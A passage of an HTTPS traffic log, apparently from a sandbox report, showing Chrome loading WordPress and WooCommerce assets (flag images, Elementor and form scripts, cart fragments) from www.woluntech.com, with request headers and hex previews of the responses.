5e df 99 6a ee 24 4d 8d 71 d0 b8 cb 58 a3 68 ca de 92 8a 6e 06 1f 5f Data Ascii: PNGIHDRpz+tEXtCreation Timeza 31 dec 2005 17:13:48 +0100tIME6lHpHYs~gAMAaIDATxj@PP9=9zCH&q7$s=9[><KZKP%G^j$MqXhn_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49871	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:15 UTC	787	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/ary.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:16 UTC	392	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:16 GMT Content-Type: image/png Content-Length: 15167 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-3b3f" Expires: Thu, 15 Jan 2026 02:37:16 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:16 UTC	15167	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 39 ec 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 32 31 20 37 39 2e 31 35 35 37 37 32 2c 20 32 30 31 34 2f 30 31 2f 31 33 2d 31 39 3a 34 34 3a 30 30 20 20 20 20 20 20 20 20 22 3e 0a 20 20 20 3c 72 64 66 Data Ascii: PNGIHDRpzpHYs9iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?><x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00 "> <rdf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49872	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:15 UTC	789	OUT	GET /wp-content/plugins/translatepress-multilingual/assets/images/flags/es_PE.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:16 UTC	388	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:16 GMT Content-Type: image/png Content-Length: 232 Last-Modified: Sat, 26 Oct 2024 07:40:32 GMT Connection: close ETag: "671c9cf0-e8" Expires: Thu, 15 Jan 2026 02:37:16 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:16 UTC	232	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 0c 08 02 00 00 00 e0 70 7a eb 00 00 00 2b 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 7a 61 20 33 31 20 64 65 63 20 32 30 30 35 20 31 36 3a 33 32 3a 30 35 20 2b 30 31 30 30 43 09 d9 ef 00 00 00 07 74 49 4d 45 07 d5 0c 1f 0f 26 06 62 4c ec d8 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 40 49 44 41 54 78 da 63 fc cf 80 01 fe 63 88 31 32 a2 09 30 31 90 0e fe 93 a7 ed 0d 19 da de 92 a7 8d 7c bf 0d 5b 6d 6f c0 88 05 ce 7f 8b 60 bd c5 af 07 aa ed 3f 8c 03 05 af 5e e1 d7 06 94 06 00 30 a6 15 af 92 ec fb 1b 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRpz+tEXtCreation Timeza 31 dec 2005 16:32:05 +0100CtIME&bLpHYs~gAMAa@IDATxcc1201\|[mo`?^0IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49875	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:16 UTC	1106	OUT	POST /?wc-ajax=get_refreshed_fragments&elementor_page_id=9959 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive Content-Length: 18 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.woluntech.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:16 UTC	18	OUT	Data Raw: 74 69 6d 65 3d 31 37 33 36 39 30 38 36 33 34 34 31 31 Data Ascii: time=1736908634411
2025-01-15 02:37:17 UTC	523	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:17 GMT Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: https://www.woluntech.com Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff X-Robots-Tag: noindex Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade
2025-01-15 02:37:17 UTC	788	IN	Data Raw: 33 30 38 0d 0a 7b 22 66 72 61 67 6d 65 6e 74 73 22 3a 7b 22 64 69 76 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 22 3a 22 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 5c 22 3e 5c 6e 5c 6e 5c 74 3c 70 20 63 6c 61 73 73 3d 5c 22 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 5f 5f 65 6d 70 74 79 2d 6d 65 73 73 61 67 65 5c 22 3e 4e 6f 20 70 72 6f 64 75 63 74 73 20 69 6e 20 74 68 65 20 63 61 72 74 2e 3c 5c 2f 70 3e 5c 6e 5c 6e 5c 6e 3c 5c 2f 64 69 76 3e 22 2c 22 61 2e 63 61 72 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3a 22 5c 74 5c 74 5c 74 3c 61 20 63 6c 61 73 73 3d 5c 22 63 61 72 74 2d 63 6f 6e 74 61 69 6e 65 72 5c 22 20 68 72 Data Ascii: 308{"fragments":{"div.widget_shopping_cart_content":"<div class=\"widget_shopping_cart_content\">\n\n\t<p class=\"woocommerce-mini-cart__empty-message\">No products in the cart.<\/p>\n\n\n<\/div>","a.cart-container":"\t\t\t<a class=\"cart-container\" hr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49873	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:16 UTC	971	OUT	GET /wp-content/plugins/elementor/assets/lib/dialog/dialog.min.js?ver=4.9.0 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:16 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:16 GMT Content-Type: application/javascript Content-Length: 10682 Last-Modified: Thu, 04 Aug 2022 07:37:28 GMT Connection: close Vary: Accept-Encoding ETag: "62eb7738-29ba" Expires: Thu, 15 Jan 2026 02:37:16 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:16 UTC	10682	IN	Data Raw: 2f 2a 21 20 64 69 61 6c 6f 67 73 2d 6d 61 6e 61 67 65 72 20 76 34 2e 39 2e 30 20 7c 20 28 63 29 20 4b 6f 62 69 20 5a 61 6c 74 7a 62 65 72 67 20 7c 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 6b 6f 62 69 7a 7a 2f 64 69 61 6c 6f 67 73 2d 6d 61 6e 61 67 65 72 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 2e 74 78 74 0a 20 32 30 32 31 2d 30 38 2d 31 35 20 31 38 3a 31 33 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 70 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 79 3d 7b 77 69 64 67 65 74 73 54 79 70 65 73 3a 7b 7d 2c 63 72 65 61 74 65 57 69 64 67 65 74 54 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 6e 3d 6e 7c 7c 74 68 69 73 2e 57 69 64 67 65 74 3b 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 6e 2e 61 70 Data Ascii: /! dialogs-manager v4.9.0 \| (c) Kobi Zaltzberg \| https://github.com/kobizz/dialogs-manager/blob/master/LICENSE.txt 2021-08-15 18:13 /!function(p,t){"use strict";var y={widgetsTypes:{},createWidgetType:function(t,e,n){n=n\|\|this.Widget;function i(){n.ap

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49876	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:16 UTC	772	OUT	GET /wp-content/plugins/html-forms/assets/js/public.js?ver=1.4.2 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:16 UTC	427	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:16 GMT Content-Type: application/javascript Content-Length: 6106 Last-Modified: Thu, 09 Jan 2025 02:46:44 GMT Connection: close Vary: Accept-Encoding ETag: "677f3894-17da" Expires: Thu, 15 Jan 2026 02:37:16 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:16 UTC	6106	IN	Data Raw: 28 28 29 3d 3e 7b 76 61 72 20 65 3d 7b 31 37 36 3a 28 29 3d 3e 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6e 3d 21 21 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 68 6f 77 2d 69 66 22 29 2c 72 3d 21 21 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 68 69 64 65 2d 69 66 22 29 2c 6f 3d 6e 3f 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 68 6f 77 2d 69 66 22 29 2e 73 70 6c 69 74 28 22 3a 22 29 3a 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 68 69 64 65 2d 69 66 22 29 2e 73 70 6c 69 74 28 22 3a 22 29 2c 61 3d 6f 5b 30 5d 2c 73 3d 28 6f 2e 6c 65 6e 67 74 68 3e 31 3f 6f 5b 31 5d 3a 22 2a 22 29 2e 73 70 6c 69 74 28 22 7c 22 29 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (()=>{var e={176:()=>{function e(e,t){const n=!!e.getAttribute("data-show-if"),r=!!e.getAttribute("data-hide-if"),o=n?e.getAttribute("data-show-if").split(":"):e.getAttribute("data-hide-if").split(":"),a=o[0],s=(o.length>1?o[1]:"*").split("\|"),i=function(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49877	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:17 UTC	1020	OUT	GET /wp-content/uploads/2022/03/cropped-pneumatic-icon-32x32.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.woluntech.com/oders-pdf/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:17 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:17 GMT Content-Type: image/png Content-Length: 738 Last-Modified: Wed, 02 Mar 2022 07:32:57 GMT Connection: close ETag: "621f1da9-2e2" Expires: Thu, 15 Jan 2026 02:37:17 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:17 UTC	738	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 02 a9 49 44 41 54 58 85 c5 97 cb 6b 53 41 14 c6 7f 67 6e 6e 9a c6 24 5a 5b 8b 2f 7c 16 84 2a 52 ad 2e 04 15 14 14 51 04 dd 09 82 1b 57 fe 07 fe 1d e2 52 2c 82 3b 5d 68 37 22 08 6e 2b 6e 2a be b5 e0 b3 41 6d da c6 28 9a 64 ee cc 71 51 4a 41 eb 62 46 8d 07 2e 17 66 38 7c df 7c f7 9c 6f ce 15 55 55 fe 63 e4 62 92 ea 99 67 b4 91 a1 99 52 46 38 de 97 23 35 26 8a 40 70 d6 6c e6 19 a9 b7 38 5a 4e d8 5d 34 ec 2a 19 2e 4e 34 89 15 32 98 c0 e8 97 8c d3 95 94 91 0f 96 9a 85 9b 55 cb be e5 09 f7 a6 6c 67 08 b8 4c a9 b6 94 fd 95 1c fb 96 e5 e8 56 d8 5c 36 bc f9 1c a7 40 70 0d 94 14 fa 53 e1 da 64 9b 27 35 c3 92 04 c6 aa 8e a1 de 24 8a 80 84 76 41 cb 7b 2e bd 6d 73 Data Ascii: PNGIHDR szzIDATXkSAgnn$Z[/\|R.QWR,;]h7"n+nAm(dqQJAbF.f8\|\|oUUcbgRF8#5&@pl8ZN]4*.N42UlgLV\6@pSd'5$vA{.ms

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	49883	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:27 UTC	783	OUT	GET /wp-content/plugins/elementor/assets/lib/dialog/dialog.min.js?ver=4.9.0 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:28 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:28 GMT Content-Type: application/javascript Content-Length: 10682 Last-Modified: Thu, 04 Aug 2022 07:37:28 GMT Connection: close Vary: Accept-Encoding ETag: "62eb7738-29ba" Expires: Thu, 15 Jan 2026 02:37:28 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:28 UTC	10682	IN	Data Raw: 2f 2a 21 20 64 69 61 6c 6f 67 73 2d 6d 61 6e 61 67 65 72 20 76 34 2e 39 2e 30 20 7c 20 28 63 29 20 4b 6f 62 69 20 5a 61 6c 74 7a 62 65 72 67 20 7c 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 6b 6f 62 69 7a 7a 2f 64 69 61 6c 6f 67 73 2d 6d 61 6e 61 67 65 72 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 2e 74 78 74 0a 20 32 30 32 31 2d 30 38 2d 31 35 20 31 38 3a 31 33 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 70 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 79 3d 7b 77 69 64 67 65 74 73 54 79 70 65 73 3a 7b 7d 2c 63 72 65 61 74 65 57 69 64 67 65 74 54 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 6e 3d 6e 7c 7c 74 68 69 73 2e 57 69 64 67 65 74 3b 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 6e 2e 61 70 Data Ascii: /! dialogs-manager v4.9.0 \| (c) Kobi Zaltzberg \| https://github.com/kobizz/dialogs-manager/blob/master/LICENSE.txt 2021-08-15 18:13 /!function(p,t){"use strict";var y={widgetsTypes:{},createWidgetType:function(t,e,n){n=n\|\|this.Widget;function i(){n.ap

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	49884	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:27 UTC	768	OUT	GET /?wc-ajax=get_refreshed_fragments&elementor_page_id=9959 HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:28 UTC	427	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:28 GMT Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Robots-Tag: noindex Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade
2025-01-15 02:37:28 UTC	788	IN	Data Raw: 33 30 38 0d 0a 7b 22 66 72 61 67 6d 65 6e 74 73 22 3a 7b 22 64 69 76 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 22 3a 22 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 5c 22 3e 5c 6e 5c 6e 5c 74 3c 70 20 63 6c 61 73 73 3d 5c 22 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 5f 5f 65 6d 70 74 79 2d 6d 65 73 73 61 67 65 5c 22 3e 4e 6f 20 70 72 6f 64 75 63 74 73 20 69 6e 20 74 68 65 20 63 61 72 74 2e 3c 5c 2f 70 3e 5c 6e 5c 6e 5c 6e 3c 5c 2f 64 69 76 3e 22 2c 22 61 2e 63 61 72 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3a 22 5c 74 5c 74 5c 74 3c 61 20 63 6c 61 73 73 3d 5c 22 63 61 72 74 2d 63 6f 6e 74 61 69 6e 65 72 5c 22 20 68 72 Data Ascii: 308{"fragments":{"div.widget_shopping_cart_content":"<div class=\"widget_shopping_cart_content\">\n\n\t<p class=\"woocommerce-mini-cart__empty-message\">No products in the cart.<\/p>\n\n\n<\/div>","a.cart-container":"\t\t\t<a class=\"cart-container\" hr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49882	45.63.57.89	443	8836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 02:37:27 UTC	772	OUT	GET /wp-content/uploads/2022/03/cropped-pneumatic-icon-32x32.png HTTP/1.1 Host: www.woluntech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__JkTxQygsh7aRdaE2=%7B%22sid%22%3A%20%22f18abd8e-11c8-58bc-96b0-71b672707f1e%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736910428193%2C%20%22ct%22%3A%201736908628193%7D; __51uvsct__JkTxQygsh7aRdaE2=1; __51vcke__JkTxQygsh7aRdaE2=10f2224e-8575-547c-aad3-ec407800c17a; __51vuft__JkTxQygsh7aRdaE2=1736908628199
2025-01-15 02:37:28 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 02:37:28 GMT Content-Type: image/png Content-Length: 738 Last-Modified: Wed, 02 Mar 2022 07:32:57 GMT Connection: close ETag: "621f1da9-2e2" Expires: Thu, 15 Jan 2026 02:37:28 GMT Cache-Control: max-age=31536000 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade Accept-Ranges: bytes
2025-01-15 02:37:28 UTC	738	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 02 a9 49 44 41 54 58 85 c5 97 cb 6b 53 41 14 c6 7f 67 6e 6e 9a c6 24 5a 5b 8b 2f 7c 16 84 2a 52 ad 2e 04 15 14 14 51 04 dd 09 82 1b 57 fe 07 fe 1d e2 52 2c 82 3b 5d 68 37 22 08 6e 2b 6e 2a be b5 e0 b3 41 6d da c6 28 9a 64 ee cc 71 51 4a 41 eb 62 46 8d 07 2e 17 66 38 7c df 7c f7 9c 6f ce 15 55 55 fe 63 e4 62 92 ea 99 67 b4 91 a1 99 52 46 38 de 97 23 35 26 8a 40 70 d6 6c e6 19 a9 b7 38 5a 4e d8 5d 34 ec 2a 19 2e 4e 34 89 15 32 98 c0 e8 97 8c d3 95 94 91 0f 96 9a 85 9b 55 cb be e5 09 f7 a6 6c 67 08 b8 4c a9 b6 94 fd 95 1c fb 96 e5 e8 56 d8 5c 36 bc f9 1c a7 40 70 0d 94 14 fa 53 e1 da 64 9b 27 35 c3 92 04 c6 aa 8e a1 de 24 8a 